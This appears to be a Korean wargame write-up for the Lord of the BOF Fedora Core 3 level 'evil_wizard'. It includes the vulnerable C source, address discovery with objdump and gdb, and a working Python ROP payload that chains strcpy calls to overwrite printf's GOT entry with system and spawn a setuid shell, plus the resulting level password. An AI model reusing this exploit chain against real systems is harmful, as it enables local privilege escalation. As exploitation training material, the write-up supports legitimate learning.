Level 4 ( hell_fire -> evil_wizard ) ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard

Similar documents
Reusing Dynamic Linker For Exploitation Author : Date : 2012 / 05 / 13 Contact : Facebook : fb.me/kwonpwn

hlogin7

Poison null byte Excuse the ads! We need some help to keep our site up. List 1 Conditions 2 Exploit plan 2.1 chunksize(p)!= prev_size (next_chunk(p) 3

Deok9_Exploit Technique

PowerPoint Template

Return-to-libc

01.ROP(Return Oriented Programming)-x86 Excuse the ads! We need some help to keep our site up. List Return Oriented Programming(ROP) -x86 Gadgets - PO

2015 CodeGate 풀이보고서 김성우 1. systemshock strcat(cmd, argv[1]); 에서스택버퍼오버플로우가발생합니다

강의10

0x <main+41>: lea eax,[ebp-264] 0x f <main+47>: push eax 0x080484a0 <main+48>: call 0x804835c <strcpy> 0x080484a5 <main+53>: add esp,0x1

hlogin2

02.Create a shellcode that executes "/bin/sh" Excuse the ads! We need some help to keep our site up. List Create a shellcode that executes "/bin/sh" C

PowerPoint 프레젠테이션

歯7장.PDF

chap7.PDF

6주차.key

RTL

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

<B1E2BCFAB9AEBCAD5FB9DABAB4B1D45F F F64746F72732E687770>

금오공대 컴퓨터공학전공 강의자료

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

Microsoft Word - FunctionCall

Computer Security Chapter 08. Format String 김동진 1 Secure Software Lab.

MPLAB C18 C

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

PowerPoint 프레젠테이션

11장 포인터

<4D F736F F F696E74202D20B8B6C0CCC5A9B7CEC7C1B7CEBCBCBCAD202839C1D6C2F7207E203135C1D6C2F >

Microsoft Word - building the win32 shellcode 01.doc

Microsoft PowerPoint - chap02-C프로그램시작하기.pptx

Fedora Core 3,4,5 stack overflow.docx

/chroot/lib/ /chroot/etc/

PowerPoint 프레젠테이션

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

이번장에서학습할내용 동적메모리란? malloc() 와 calloc() 연결리스트 파일을이용하면보다많은데이터를유용하고지속적으로사용및관리할수있습니다. 2

vi 사용법

Microsoft PowerPoint - ch04_코드 보안 [호환 모드]

The Lord of the BOF -The Fellowship of the BOF 풀이보고서 by phpmyadmin -Contents- 0x00 프롤로그

익스플로잇실습 / 튜토리얼 Easy RM to MP3 Converter ROP [ Direct RET VirtualProtect() 함수사용 ] By WraithOfGhost

10.

목 차 1. 개요 취약점분석추진배경 취약점요약 취약점정보 취약점대상시스템목록 분석 공격기법및기본개념 시나리오 공격코드

chap7.key

Microsoft PowerPoint - chap10-함수의활용.pptx

PowerPoint 프레젠테이션

gdb 사용법 Debugging Debug라는말은 bug를없앤다는말이다. Bug란, 컴퓨터프로그램상의논리적오류를말하며, 이것을찾아해결하는과정이바로, debugging이다. 초기컴퓨터들은실제벌레가컴퓨터에들어가서오작동을일으키는경우가있었다고하며, 여기서 debug 이라는말이

Level 1. Trivial level1]$ cat hint level2 권한에 setuid 가걸린파일을찾는다. level1]$ find / -user level2 2>/dev/null find / 최상위폴더부터찾겠다. -u

윤석언 - Buffer Overflow - 윤석언 제12회세미나 수원대학교보안동아리 FLAG

Microsoft Word - readme.doc

Smashing the Lord Of the Bof

11장 포인터

Microsoft PowerPoint - [2009] 02.pptx

UDCSC Hacking Festival 2005

PowerPoint 프레젠테이션

IDA 5.x Manual hwp

<4D F736F F F696E74202D20B8AEB4AABDBA20BFC0B7F920C3B3B8AEC7CFB1E22E BC8A3C8AF20B8F0B5E55D>

PowerPoint 프레젠테이션

Microsoft Word - MSOffice_WPS_analysis.doc

제1장 Unix란 무엇인가?

0x00 Contents 0x About Nickster 0x Analaysis 0x Exploit

Microsoft PowerPoint - ch07 - 포인터 pm0415

Microsoft PowerPoint - lab14.pptx

untitled

Microsoft PowerPoint - chap13-입출력라이브러리.pptx

(Asynchronous Mode) ( 1, 5~8, 1~2) & (Parity) 1 ; * S erial Port (BIOS INT 14H) - 1 -

Contents 1. 목적 풀이 gate

버퍼오버플로우-왕기초편 10. 메모리를 Hex dump 뜨기 앞서우리는버퍼오버플로우로인해리턴어드레스 (return address) 가변조될수있음을알았습니다. 이제곧리턴어드레스를원하는값으로변경하는실습을해볼것인데요, 그전에앞서, 메모리에저장된값들을살펴보는방법에대해배워보겠습

학번 : 이름 : 1. 다음파일트리구조를가진유닉스시스템이있다고가정하자. / /bin/ /home/ /home/taesoo/ /usr/ /usr/lib/ /usr/local/lib /media 모든폴더에파일이하나도없다고가정했을때사용자가터미널에서다음 ls 명령입력시화면출력

untitled

제 14 장포인터활용 유준범 (JUNBEOM YOO) Ver 본강의자료는생능출판사의 PPT 강의자료 를기반으로제작되었습니다.

Microsoft PowerPoint - chap06-2pointer.ppt

<322EBCF8C8AF28BFACBDC0B9AEC1A6292E687770>

Microsoft PowerPoint - chap12-고급기능.pptx

커알못의 커널 탐방기 이 세상의 모든 커알못을 위해서

[ 마이크로프로세서 1] 2 주차 3 차시. 포인터와구조체 2 주차 3 차시포인터와구조체 학습목표 1. C 언어에서가장어려운포인터와구조체를설명할수있다. 2. Call By Value 와 Call By Reference 를구분할수있다. 학습내용 1 : 함수 (Functi

Sena Technologies, Inc. HelloDevice Super 1.1.0

À©µµ³×Æ®¿÷ÇÁ·Î±×·¡¹Ö4Àå_ÃÖÁ¾

02장.배열과 클래스

vi 사용법

Contents 1. 목적 풀이 Level

Microsoft PowerPoint - chap06-5 [호환 모드]

< E20C6DFBFFEBEEE20C0DBBCBAC0BB20C0A7C7D12043BEF0BEEE20492E707074>

Microsoft PowerPoint - a10.ppt [호환 모드]

4. #include <stdio.h> #include <stdlib.h> int main() { functiona(); } void functiona() { printf("hihi\n"); } warning: conflicting types for functiona

08.BROP(Blind Return Oriented Programming) Excuse the ads! We need some help to keep our site up. List BROP(Blind Return Oriented Programming) BROP st

Get your flag!! flag{basic_web_prob_wwwwwwwww} Key : BASIC_WEB_PROB_WWWwwwWWW [FORENSIC 250] Window Forensic 1 메모리덤프떠서 vol --profile=win7sp1x64 hashdu

03장.스택.key

임베디드시스템설계강의자료 6 system call 2/2 (2014 년도 1 학기 ) 김영진 아주대학교전자공학과

untitled

교육지원 IT시스템 선진화

본문서는 Syngress 의 Writing Security Tools and Exploits Chap11 을요약정리한 것입니다. 참고로 Chap 10 ~ 12 까지가 Metasploit 에대한설명입니다. Metasploit Framework 활용법 1. Metasplo

기술문서 LD_PRELOAD 와공유라이브러리를사용한 libc 함수후킹 정지훈

A Dynamic Grid Services Deployment Mechanism for On-Demand Resource Provisioning

리눅스 취약점대응방안권고 / KISA 취약점점검팀 영향받는플랫폼 OS, FAQ 추가 개요 미국보안회사 에의해 시스템의 라이브러리 의특정함수에서임의코드를실행할수있는취약점이공개 해당취약점은 CVE 지정, 도메인네임을

본 강의에 들어가기 전

Microsoft Word - Static analysis of Shellcode.doc

ch15

<4D F736F F F696E74202D20C1A63134C0E520C6F7C0CEC5CD5FC8B0BFEB>

Transcription:

Level 4 ( hell_fire -> evil_wizard ) [hell_fire@fedora_1stfloor ~]$ cat evil_wizard.c /* The Lord of the BOF : The Fellowship of the BOF - evil_wizard - Local BOF on Fedora Core 3 - hint : GOT overwriting */ // magic potion for you void pop_pop_ret(void) { asm("pop %eax"); asm("pop %eax"); asm("ret"); int main(int argc, char *argv[]) { char buffer[256]; char saved_sfp[4]; int length; if(argc < 2){ printf("argv error\n"); exit(0); // for disturbance RET sleding length = strlen(argv[1]); // healing potion for you setreuid(geteuid(), geteuid()); setregid(getegid(), getegid()); // save sfp memcpy(saved_sfp, buffer+264, 4); // overflow!! strcpy(buffer, argv[1]); // restore sfp memcpy(buffer+264, saved_sfp, 4); // disturbance RET sleding memset(buffer+length, 0, (int)0xff000000 - (int)(buffer+length)); printf("%s\n", buffer); ( hell_fire / sign me up ) 계정으로로그인뒤소스코드를보면위와같다. 이전레벨에서 안풀렸던 GOT_Overwrite 방법을이용하면된다.

이전문제들에서는 POP POP RET ( 이하 PPR) 가젯이없었기때문에 ROP가사실상불가능했지만이번문제에서는친절하게 pop_pop_ret 함수로해당가젯을직접제공해준다. 그리고 setreuid, setregid 함수를이용하여권한을주기때문에결국 system 함수를이용해쉘코드를호출만하면된다. 어쨌든 GOT Overwrite를위해풀기위해서는총 5가지정보가필요하다. 1. strcpy() PLT 2. printf() PLT, GOT 3. system() 주소 4. /bin/sh 주소 5. ppr 가젯 PLT, GOT 에관한설명과 GOT Overwrite 의기본적인개념은다음링크의문서를참고하기 바란다. 다시본론으로돌아와이번문제의 ROP 는 GOT Overwrite 를이용하는데이과정에서 필요한또다른기법이 RTL 이다. 일단 ppr 가젯의주소는다음과같다. (0x804854f) [hell_fire@fedora_1stfloor ~]$ objdump -d./evil_wizard grep ret -B2 === 생략 === 0804854c <pop_pop_ret>: -- 804854f: 58 pop %eax 8048550: 58 pop %eax 8048551: c3 ret === 생략 === strpcy 함수의 plt 주소는다음과같다. (0x8048494) [hell_fire@fedora_1stfloor ~]$ objdump -d./evil_wizard grep strcpy 08048494 <strcpy@plt>: 8048624: e8 6b fe ff ff call 8048494 <strcpy@plt> system 함수의주소는다음과같다. (0x7507c0) [hell_fire@fedora_1stfloor ~]$ gdb evil_wizard (no debugging symbols found)...using host libthread_db library "/lib/tls/libthread_db.so.1". (gdb) b *main Breakpoint 1 at 0x8048554 (gdb) r Starting program: /home/hell_fire/evil_wizard (no debugging symbols found)...(no debugging symbols found)... Breakpoint 1, 0x08048554 in main () (gdb) p system $1 = {<text variable, no debug info> 0x7507c0 <system>

/bin/sh 의주소는다음과같다. (0x833603) [hell_fire@fedora_1stfloor ~]$ cat sh.c #include <stdio.h> #include <string.h> #define SYS_ADDR 0x7507c0 void main() { char *ptr; ptr = (int *)SYS_ADDR; for(;;) { if(memcmp(ptr, "/bin/sh", 8) == 0) { printf("/bin/sh at : %p\n", ptr); exit(1); ptr++; [hell_fire@fedora_1stfloor ~]$ gcc -o sh sh.c [hell_fire@fedora_1stfloor ~]$./sh /bin/sh at : 0x833603 printf 함수의 plt, got 는다음과같다. [hell_fire@fedora_1stfloor ~]$ objdump -d./evil_wizard grep printf 08048424 <printf@plt>: 8048581: e8 9e fe ff ff call 8048424 <printf@plt> 804868b: e8 94 fd ff ff call 8048424 <printf@plt> (gdb) x/3i 0x8048424 0x8048424 <_init+88>: jmp ds:0x8049884 # 1 0x804842a <_init+94>: push 0x18 # 3 0x804842f <_init+99>: jmp 0x80483e4 <_init+24> # 4 (gdb) x/x 0x8049884 0x8049884 <_GLOBAL_OFFSET_TABLE_+24>: 0x0804842a # 2 위쪽에링크한 plt, got 관련포스팅을봤다면왜우측에표시한순서대로실행되는것인지알것이다. 그럼이번문제를위해서는마지막 printf를 system으로변경하면버퍼에있는무언가가실행되게된다. 그렇다면 printf의 GOT를 system 함수의주소로덮어써야하는작업이필요한데여기서 RTL이사용된다. 바로 RTL를이용하여 strcpt 함수를호출하여 GOT의바이트하나하나를다른값으로변경시키는것이다. 이과정의핵심은 POP POP RET 이다. pop 명령어는 esp 레지스터를 +4 만큼이동하는데, 2번호출되기때문에 +8이된다. 그리고 RET에의해 pop eip, jmp eip가실행되어다른함수를연속적으로호출할수있게되는데이런작업을 Chaining RTL Calls 라고도한다. 자그럼이제 system 함수의주소 (0x7507c0) 를바이트단위로나누고메모리어디주소에있는지알아내는과정이필요하다. 이는 objdump 명령어를이용하여다음과같이실행될수있다. q

* 명령어에 color=auto 옵션을주었기때문에대상바이트를찾게되면알아보기쉽게컬러로 표시된다. 해당명령어를이전처럼복사한다음붙여넣기하면색깔이들어가지않아일부러 이번명령어는사진으로대체하였다. 시스템함수주소중 c0에대한주소값은 0x8048420이다. 위와같은방법으로나머지바이트주소를찾아낸결과는다음과같다. - c0 : 0x8048420-07 : 0x8048154-75 : 0x80482c8-00 : 0x80481ec ( 혹시모르니위사진에서찾아놓음 ) 지금까지의설명을정리하면, printf() 함수의 GOT를 system 함수의주소로바꾸는방법으로문제를풀수있다. 바꾸는과정은 strcpy 함수를이용한 RTL 기법을사용한다. 그렇다면제일첫페이지소스코드마지막에있는 prinf() 함수가 system() 함수로변경되는데, 이때인자를 /bin/sh로주면쉘이실행된다. 즉, 페이로드는다음과같은형태가된다. A*268 strcpy(0x8048494) ppr(0x804854f) printf@got_0(0x8049884) 0x8048420 strcpy ppr printf@got_1 0x8048154 strcpy ppr printf@got_2 0x80482c8 strcpy ppr printf@got_3 0x80481ec printf@plt(0x8048424) AAAA /bin/sh(0x833603) 위주소값들을이용하여페이로드를작성한다. # coding:utf-8 import os from struct import * p = lambda x : pack("<l", x) # 리틀엔디언변환 strcpy_plt ppr printf_got system_1 system_2 system_3 system_4 = 0x08048494 = 0x0804854f = 0x08049898 = 0x08048420 = 0x08048154 = 0x080482c8 = 0x080481ec

printf_plt bin_sh = 0x08048474 = 0x833603 ex = "A" * 268 # 정크값 ex += p(strcpy_plt) + p(ppr) + p(printf_got+0) + p(system_1) # got_1 덮어쓰기 ex += p(strcpy_plt) + p(ppr) + p(printf_got+1) + p(system_2) # got_2 덮어쓰기 ex += p(strcpy_plt) + p(ppr) + p(printf_got+2) + p(system_3) # got_3 덮어쓰기 ex += p(strcpy_plt) + p(ppr) + p(printf_got+3) + p(system_4) # got_4 덮어쓰기 ex += p(printf_plt) + "BBBB" + p(bin_sh) # system 함수인자 print ex 위와같이파이썬파일을작성후 print ex 출력결과를 evil_wizard 인자로넘겨주면된다. [hell_fire@fedora_1stfloor ~]$./evil_wizard `python ex.py` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAO Segmentation fault 근데안된다. gdb 를이용하여뭐가문제인지봐야한다. (gdb) b *main+319 Breakpoint 1 at 0x8048693 (gdb) r `python ex.py` Starting program: /home/hell_fire/evil_wizard `python ex.py` (no debugging symbols found)...(no debugging symbols found)...aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa aaaaaaaaaaaaaaaaaaaaaaaa 鴣 O Breakpoint 1, 0x08048693 in main () (gdb) x/3i 0x8048424 0x8048424 <_init+88>: jmp ds:0x8049884 0x804842a <_init+94>: push 0x18 0x804842f <_init+99>: jmp 0x80483e4 <_init+24> (gdb) x/x 0x8049884 0x8049884 <_GLOBAL_OFFSET_TABLE_+24>: 0x0075e660 (gdb) p system $1 = {<text variable, no debug info> 0x7507c0 <system> 마지막 prinft 함수호출이후에 bp 를걸고인자를넘겨준뒤 prinf 의 got 는우리의의도라면 system 주소가있어야한다. 그런데 0x75 는제대로존재하는데그뒤부터실제 system 함수 주소와다르게되어있다. 즉첫번째 got overwrite 이후에문제가발생했다는소리다. 구글링 결과비슷한증상을겪은분이있었는데, 이유는 strcpy 함수는널바이트가올때까지문자열로 판단하여덮어쓰는데, 널바이트가너무뒤에있어서 strcpy 함수의위치까지덮어쓰여진 것으로추정된다고하였다.

실제 system 함수주소의첫번째바이트 c0 을위해사용한주소 (8048420) 근처에는널바이트가 너무뒤에있었다. [hell_fire@fedora_1stfloor ~]$ objdump -s./evil_wizard grep 8048414 -A1 8048414 ff258098 04086810 000000e9 c0ffffff.%...h... 8048424 ff258498 04086818 000000e9 b0ffffff.%...h... 따라서널바이트가근처에있는 c0 을찾아서파이썬코드의 system1 변수값을바꾸면된다. [hell_fire@fedora_1stfloor ~]$ objdump -s./evil_wizard grep c0 --color=auto === 생략 === 80484f4 b0980408 00740feb 1f8d7600 83c004a3...t...v... 8048524 ec08a19c 97040885 c07419b8 00000000...t... 기존의파이썬코드 system_1=0x08048420 을 system_1=0x0804852c 로변경하면된다. [hell_fire@fedora_1stfloor ~]$./evil_wizard `python ex.py` AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAA.BBBB6,O sh-3.00$ whoami evil_wizard sh-3.00$ sh-3.00$ my-pass euid = 504 get down like that sh-3.00$